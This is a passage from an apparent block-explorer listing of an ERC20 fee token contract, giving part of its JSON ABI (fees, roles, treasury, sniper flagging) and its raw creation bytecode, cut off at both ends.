Structure.TransactionState","name":"state","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"perc","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeesDeducted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RECOVERABLE_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ROLE_ADMIN_STRUCTURE_CLASS","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalExcluded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalExcludedFragments","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"functionNumber","type":"uint8"},{"internalType":"uint256","name":"timeLimit","type":"uint256"}],"name":"deactivateFunctionPermanently","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"lps","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"disperse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"exclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"index","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"fbl_calculateFeeSpecific","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"fbl_calculateStateFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"perc","type":"uint256"},{"internalType":"string","name":"label","type":"string"}],"name":"fbl_feeAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"f","type":"uint256"}],"name":"fbl_feePrecisionUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"fbl_feeRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"perc","type":"uint256"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"fbl_feeUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"fbl_getAccountState","outputs":[{"components":[{"internalType":"bool","name":"feeless","type":"bool"},{"internalType":"bool","name":"transferPair","type":"bool"},{"internalType":"bool","name":"excluded","type":"bool"}],"internalType":"struct TransactionStructure.AccountState","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"fbl_getExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"fbl_getFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getFeeFactor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"fbl_getFeesOfUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"fbl_getIsFeeless","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"}],"name":"fbl_getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getTotalFeesForBuyTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fbl_getTotalFeesForSellTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"fbl_getTstate","outputs":[{"internalType":"enum Structure.TransactionState","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"fbl_getTxType","outputs":[{"internalType":"enum Structure.TransactionType","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"},{"internalType":"uint256","name":"option","type":"uint256"}],"name":"fbl_setAccountState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"fragmentBalanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fragmentTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fragmentsPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"include","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"address","name":"rec","type":"address"}],"name":"manualSnS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"v","type":"bool"}],"name":"possibleSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"x","type":"uint256"}],"name":"refreshBal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"perc","type":"uint256"}],"name":"setBuyLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lim","type":"uint256"}],"name":"setContractSellTarget","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"option","type":"uint8"},{"internalType":"bool","name":"v","type":"bool"}],"name":"setIsChecking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setLiquifyStats","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"perc","type":"uint256"}],"name":"setSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"v","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"p","type":"address"}],"name":"setTransferPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"perc","type":"uint256"}],"name":"setUsp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"validateRole","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260026007556001601b556001601c553480156200002057600080fd5b50604080518082018252600c81526b2232b6a7a426a9b630bcb2b960a11b60208083019182528351808501909452600684526544454d4f484d60d01b908401528151919291601291698d2c09496426a668000091620000829160039162000fc8565b5082516200009890600490602086019062000fc8565b506005805460ff191660ff939093169290921790915560025550620000d6905060008051602062005021833981519152620000d03390565b62000439565b620001027f95ade357382b18d10e6f713f539e8e3e349f779b240104f9b5629a7c44f207e23362000439565b6002546200011390600019620013b9565b6200012190600019620012f7565b600c819055336000818152600e602052604081209290925562000145919062000439565b6015805474d9e1ce17f2641f24ae83637ab66a2cca9c378b9f00610100600160a81b03199091161790819055601780546001600160a01b0319908116301790915560188054821673383518188c0c6d7730d91b2c03a03c837814a899179055601980549091167364446d162ff4ac2f22bcab2da143f8cb8f02581b1790556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a015591600480820192602092909190829003018186803b1580156200020a57600080fd5b505afa1580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024591906200106e565b6017546018546040516364e329cb60e11b81526001600160a01b039283166004820152908216602482015291169063c9c6539690604401602060405180830381600087803b1580156200029757600080fd5b505af1158015620002ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d291906200106e565b601680546001600160a01b039283166001600160a01b0319909116811782556000908152600b6020526040808220805461ff001916610100179055308252808220805460ff19908116600190811790925560195486168452828420805482168317905533845291909220805490911690911790555462000353911662000449565b60036007819055506200038f60006021604051806040016040528060078152602001666275792066656560c81b815250620005be60201b60201c565b620003c4600160636040518060400160405280600881526020016773656c6c2066656560c01b815250620005be60201b60201c565b6042601f55600a601e556001601d55606460205569014542ba12a337c0000060215560026022556023805463ffff0000191663010100001790556200040862000723565b600d55601554620004329061010090046001600160a01b03166200042c33620007ad565b6200081f565b506200143e565b62000445828262000837565b5050565b6000620004578133620008db565b6001600160a01b0382166000908152600b602052604090205462010000900460ff1615620004cc5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064015b60405180910390fd5b6001600160a01b0382166000908152600b60209081526040808320805462ff0000191662010000179055600e909152902054156200059457600d546001600160a01b0383166000908152600e60205260409020546200052c9190620011b9565b6001600160a01b0383166000908152602081905260408120829055601180549091906200055b9084906200119e565b90915550506001600160a01b0382166000908152600e602052604081205460108054919290916200058e9084906200119e565b90915550505b620005ac6013836200097860201b62001f191760201c565b50620005b762000723565b600d555050565b60008051602062005021833981519152620005da8133620008db565b60086000856002811115620005f357620005f3620013fc565b6002811115620006075762000607620013fc565b8152602080820192909252604001600090812080546001810182559082529181209091018490558390600a90866002811115620006485762000648620013fc565b60028111156200065c576200065c620013fc565b815260200190815260200160002060008282546200067b91906200119e565b909155506009905060008560028111156200069a576200069a620013fc565b6002811115620006ae57620006ae620013fc565b81526020019081526020016000206000815480929190620006cf906200139b565b90915550620006df905062000996565b507f42d7180fdce9c41efa3db6f3ffc7c3c96a3e68730b9c63fa1f0b672e34a10ceb848484604051620007159392919062001140565b60405180910390a150505050565b600080601054600c54620007389190620012f7565b905060006011546002546200074e9190620012f7565b90506000600254600c54620007649190620011b9565b90508083101562000776579392505050565b600c5460105411806200078c5750600254601154115b1562000799579392505050565b620007a58284620011b9565b935050505090565b6001600160a01b0381166000908152600b602052604081205462010000900460ff1615620007f157506001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0383166000908152600e6020526040902054620008199190620011b9565b92915050565b60006200082e33848462000afd565b50600192915050565b60008281526006602090815260408083206001600160a01b038516845290915290205460ff16620004455760008281526006602090815260408083206001600160a01b03851684529091529020805460ff19166001179055620008973390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526006602090815260408083206001600160a01b038516845290915290205460ff16620004455762000927816001600160a01b0316601462000c2560201b62001f2e1760201c565b6200093d83602062001f2e62000c25821b17811c565b60405160200162000950929190620010c7565b60408051601f198184030181529082905262461bcd60e51b8252620004c39160040162001189565b60006200098f836001600160a01b03841662000dde565b9392505050565b6000618235620009ab6001620186a062000e30565b111562000a0d5760405162461bcd60e51b815260206004820152602960248201527f455243323046656561626c653a2053656c6c2048617264636170206f6620333360448201526809481c995858da195960ba1b6064820152608401620004c3565b61823562000a206000620186a062000e30565b111562000a825760405162461bcd60e51b815260206004820152602960248201527f455243323046656561626c653a20427579202048617264636170206f6620333360448201526809481c995858da195960ba1b6064820152608401620004c3565b61823562000a956002620186a062000e30565b111562000af75760405162461bcd60e51b815260206004820152602960248201527f455243323046656561626c653a204e6f726d2048617264636170206f6620333360448201526809481c995858da195960ba1b6064820152608401620004c3565b50600190565b6001600160a01b03831662000b615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620004c3565b6001600160a01b03821662000bc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004c3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6060600062000c36836002620012d5565b62000c439060026200119e565b6001600160401b0381111562000c5d5762000c5d62001428565b6040519080825280601f01601f19166020018201604052801562000c88576020820181803683370190505b509050600360fc1b8160008151811062000ca65762000ca662001412565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811062000cd85762000cd862001412565b60200101906001600160f81b031916908160001a905350600062000cfe846002620012d5565b62000d0b9060016200119e565b90505b600181111562000d8d576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811062000d435762000d4362001412565b1a60f81b82828151811062000d5c5762000d5c62001412565b60200101906001600160f81b031916908160001a90535060049490941c9362000d858162001344565b905062000d0e565b5083156200098f5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401620004c3565b600081815260018301602052604081205462000e275750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915562000819565b50600062000819565b6000808084600281111562000e495762000e49620013fc565b141562000e845762000e5a62000eec565b62000e6462000f04565b62000e709085620012d5565b62000e7c9190620011b9565b90506200098f565b600184600281111562000e9b5762000e9b620013fc565b141562000eb65762000eac62000eec565b62000e6462000f76565b62000ec062000eec565b62000ecc600262000f83565b62000ed89085620012d5565b62000ee49190620011b9565b949350505050565b6000600754600a62000eff919062001219565b905090565b6000600a81805b600281111562000f1f5762000f1f620013fc565b815260200190815260200160002054600a600060028081111562000f475762000f47620013fc565b600281111562000f5b5762000f5b620013fc565b81526020019081526020016000205462000eff91906200119e565b6000600a81600162000f0b565b6000600a600083600281111562000f9e5762000f9e620013fc565b600281111562000fb25762000fb2620013fc565b8152602001908152602001600020549050919050565b82805462000fd6906200135e565b90600052602060002090601f01602090048101928262000ffa576000855562001045565b82601f106200101557805160ff191683800117855562001045565b8280016001018555821562001045579182015b828111156200104557825182559160200191906001019062001028565b506200105392915062001057565b5090565b5b8082111562001053576000815560010162001058565b6000602082840312156200108157600080fd5b81516001600160a01b03811681146200098f57600080fd5b60008151808452620010b381602086016020860162001311565b601f01601f19169290920160200192915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516200110181601785016020880162001311565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516200113481602884016020880162001311565b01602801949350505050565b6000600385106200116157634e487b7160e01b600052602160045260246000fd5b8482528360208301526060604083015262001180606083018462001099565b95945050505050565b6020815260006200098f602083018462001099565b60008219821115620011b457620011b4620013d0565b500190565b600082620011cb57620011cb620013e6565b500490565b600181815b8085111562001211578160001904821115620011f557620011f5620013d0565b808516156200120357918102915b93841c9390800290620011d5565b509250929050565b60006200098f8383600082620012325750600162000819565b81620012415750600062000819565b81600181146200125a5760028114620012655762001285565b600191505062000819565b60ff841115620012795762001279620013d0565b50506001821b62000819565b5060208310610133831016604e8410600b8410161715620012aa575081810a62000819565b620012b68383620011d0565b8060001904821115620012cd57620012cd620013d0565b029392505050565b6000816000190483118215151615620012f257620012f2620013d0565b500290565b6000828210156200130c576200130c620013d0565b500390565b60005b838110156200132e57818101518382015260200162001314565b838111156200133e576000848401525b50505050565b600081620013565762001356620013d0565b506000190190565b600181811c908216806200137357607f821691505b602082108114156200139557634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415620013b257620013b2620013d0565b5060010190565b600082620013cb57620013cb620013e6565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b613bd3806200144e6000396000f3fe608060405234801561001057600080fd5b50600436106103d05760003560e01c80636ab1f7b4116101ff578063cea1c7f41161011a578063e3ce8bee116100ad578063eebb85431161007c578063eebb854314610941578063f0f4426014610954578063f0fa55a914610967578063ffc25ba81461097a57600080fd5b8063e3ce8bee14610900578063e7de33d914610913578063e94497e314610926578063ed9cc6831461093957600080fd5b8063d62d0079116100e9578063d62d00791461088c578063d830db3a146108a1578063dd62ed3e146108b4578063e01af92c146108ed57600080fd5b8063cea1c7f414610840578063cf7fedfc14610853578063d547741f14610866578063d62c92291461087957600080fd5b8063a457c2d711610192578063b9f5595211610161578063b9f55952146107f1578063c1133fa014610804578063c86739281461080d578063cd7a16e01461082057600080fd5b8063a457c2d7146107b0578063a9059cbb146107c3578063b2b164e1146107d6578063b4a0640e146107e957600080fd5b806391d14854116101ce57806391d148541461078557806392ad24e31461079857806395d89b41146107a0578063a217fddf146107a857600080fd5b80636ab1f7b4146107445780636de62d0c1461075757806370a082311461075f57806386ff4be61461077257600080fd5b80633040098b116102ef578063451384cc116102825780635106f4fa116102515780635106f4fa146106cb57806358749842146106d457806361d027b3146106e7578063622cd0871461071257600080fd5b8063451384cc1461067f578063474c5e3c146106925780634febf53d146106a55780635084fc3b146106b857600080fd5b80633a985381116102be5780633a985381146106335780633e57c77b1461065c5780633f4ba83a1461066457806342af760b1461066c57600080fd5b80633040098b146105d8578063313ce567146105f857806336568abe1461060d578063395093511461062057600080fd5b806316114acd1161036757806323c697ad1161033657806323c697ad1461057c578063248a9ca31461058f57806329c70488146105b25780632f2ff15d146105c557600080fd5b806316114acd146104b357806318160ddd146104c65780631e9c2aaa146104ce57806323b872dd1461056957600080fd5b80630a273b8c116103a35780630a273b8c1461043b5780630da2c5f014610462578063148405bf1461047757806314c42278146104a057600080fd5b806301ffc9a7146103d557806306fdde03146103fd578063095ea7b31461041257806309843efa14610425575b600080fd5b6103e86103e336600461350b565b61098d565b60405190151581526020015b60405180910390f35b6104056109c4565b6040516103f49190613823565b6103e86104203660046133a8565b610a56565b61042d610a6c565b6040519081526020016103f4565b61042d7f95ade357382b18d10e6f713f539e8e3e349f779b240104f9b5629a7c44f207e281565b610475610470366004613667565b610a82565b005b61042d6104853660046132b3565b6001600160a01b03166000908152600e602052604090205490565b6104756104ae3660046134e6565b610a97565b6104756104c13660046132b3565b610ae3565b60025461042d565b6105416104dc3660046132b3565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03949094168452600b825292829020825193840183525460ff80821615158552610100820481161515928501929092526201000090041615159082015290565b60408051825115158152602080840151151590820152918101511515908201526060016103f4565b6103e8610577366004613309565b610bb4565b61047561058a366004613309565b610c08565b61042d61059d3660046134cd565b60009081526006602052604090206001015490565b61042d6105c0366004613535565b610c82565b6104756105d33660046134e6565b610cc1565b6105eb6105e63660046132d0565b610cec565b6040516103f49190613809565b60055460405160ff90911681526020016103f4565b61047561061b3660046134e6565b610d9a565b6103e861062e3660046133a8565b610e14565b61042d6106413660046132b3565b6001600160a01b031660009081526012602052604090205490565b61042d610e4b565b610475610eb3565b61047561067a3660046134cd565b610ede565b6103e861068d3660046132d0565b610f18565b6104756106a03660046134cd565b610f5b565b6104756106b33660046132b3565b610fc2565b6104756106c63660046134cd565b611119565b61042d60105481565b6104756106e23660046136a5565b611198565b6019546106fa906001600160a01b031681565b6040516001600160a01b0390911681526020016103f4565b6103e86107203660046132b3565b6001600160a01b03166000908152600b602052604090205462010000900460ff1690565b61042d610752366004613550565b6111c9565b61042d611224565b61042d61076d3660046132b3565b6112a3565b6104756107803660046134cd565b61130c565b6103e86107933660046134e6565b611382565b600f5461042d565b6104056113ad565b61042d600081565b6103e86107be3660046133a8565b6113bc565b6103e86107d13660046133a8565b61144b565b6104756107e43660046134cd565b611458565b61042d6114c5565b6104756107ff366004613550565b6114d0565b61042d60115481565b61047561081b3660046132b3565b611667565b61083361082e3660046132d0565b611772565b6040516103f49190613792565b61047561084e366004613378565b6117d6565b61047561086136600461334a565b611887565b6104756108743660046134e6565b6118e7565b61042d61088736600461361b565b61190d565b61042d600080516020613b7e83398151915281565b6104756108af3660046133d4565b611985565b61042d6108c23660046132d0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6104756108fb366004613493565b611a4f565b61047561090e36600461356c565b611a6f565b61047561092136600461361b565b611ba8565b61042d610934366004613550565b611d4c565b600c5461042d565b61047561094f3660046132b3565b611dd9565b6104756109623660046132b3565b611e30565b6104756109753660046134cd565b611e87565b610475610988366004613689565b611ec1565b60006001600160e01b03198216637965db0b60e01b14806109be57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600380546109d390613a96565b80601f01602080910402602001604051908101604052809291908181526020018280546109ff90613a96565b8015610a4c5780601f10610a2157610100808354040283529160200191610a4c565b820191906000526020600020905b815481529060010190602001808311610a2f57829003601f168201915b5050505050905090565b6000610a633384846120ca565b50600192915050565b6000600754600a610a7d9190613975565b905090565b6000610a8e81336121ee565b50602255602155565b6001610aa281612252565b610ac75760405162461bcd60e51b8152600401610abe90613836565b60405180910390fd5b6000610ad381336121ee565b610add8484612284565b50505050565b7f95ade357382b18d10e6f713f539e8e3e349f779b240104f9b5629a7c44f207e2610b0e81336121ee565b306001600160a01b0383161415610b2457600080fd5b610bb0336040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b158015610b6757600080fd5b505afa158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f919061364e565b6001600160a01b038516919061239b565b5050565b6000610bc18484846123ed565b506001600160a01b038416600090815260016020908152604080832033808552925290912054610bfd918691610bf8908690613a3c565b6120ca565b5060015b9392505050565b6008610c1381612252565b610c2f5760405162461bcd60e51b8152600401610abe90613836565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c7491815260200190565b60405180910390a350505050565b6000600a6000836002811115610c9a57610c9a613b02565b6002811115610cab57610cab613b02565b8152602001908152602001600020549050919050565b600082815260066020526040902060010154610cdd81336121ee565b610ce78383612838565b505050565b6001600160a01b038083166000908152600b6020526040808220549284168252812054909160ff6201000091829004811692919091041681158015610d2f575080155b15610d3f576003925050506109be565b818015610d4a575080155b15610d5a576000925050506109be565b81158015610d655750805b15610d75576001925050506109be565b818015610d7f5750805b15610d8f576002925050506109be565b6003925050506109be565b6001600160a01b0381163314610e0a5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610abe565b610bb082826128be565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a63918590610bf89086906138f8565b6000600a8160015b6002811115610e6457610e64613b02565b815260200190815260200160002054600a6000600280811115610e8957610e89613b02565b6002811115610e9a57610e9a613b02565b815260200190815260200160002054610a7d91906138f8565b6000610ebf81336121ee565b506023805461ff0019166101001790556015805460ff19166001179055565b6002610ee981612252565b610f055760405162461bcd60e51b8152600401610abe90613836565b6000610f1181336121ee565b5050601d55565b6001600160a01b0382166000908152600b602052604081205460ff1680610c015750506001600160a01b03166000908152600b602052604090205460ff16919050565b600080516020613b7e833981519152610f7481336121ee565b81610fb55760405162461bcd60e51b8152602060048201526011602482015270063616e277420646976696465206279203607c1b6044820152606401610abe565b6007829055610ce7612925565b6000610fce81336121ee565b6001600160a01b0382166000908152600b602052604090205462010000900460ff161561103d5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610abe565b6001600160a01b0382166000908152600b60209081526040808320805462ff0000191662010000179055600e909152902054156110fe57600d546001600160a01b0383166000908152600e602052604090205461109a9190613910565b6001600160a01b0383166000908152602081905260408120829055601180549091906110c79084906138f8565b90915550506001600160a01b0382166000908152600e602052604081205460108054919290916110f89084906138f8565b90915550505b611109601383611f19565b50611112611224565b600d555050565b600661112481612252565b6111405760405162461bcd60e51b8152600401610abe90613836565b600061114c81336121ee565b60648311156111915760405162461bcd60e51b8152602060048201526011602482015270063616e277420676f206f7665722031303607c1b6044820152606401610abe565b5050601f55565b60006111a481336121ee565b6111ae42836138f8565b60ff9093166000908152602660205260409020929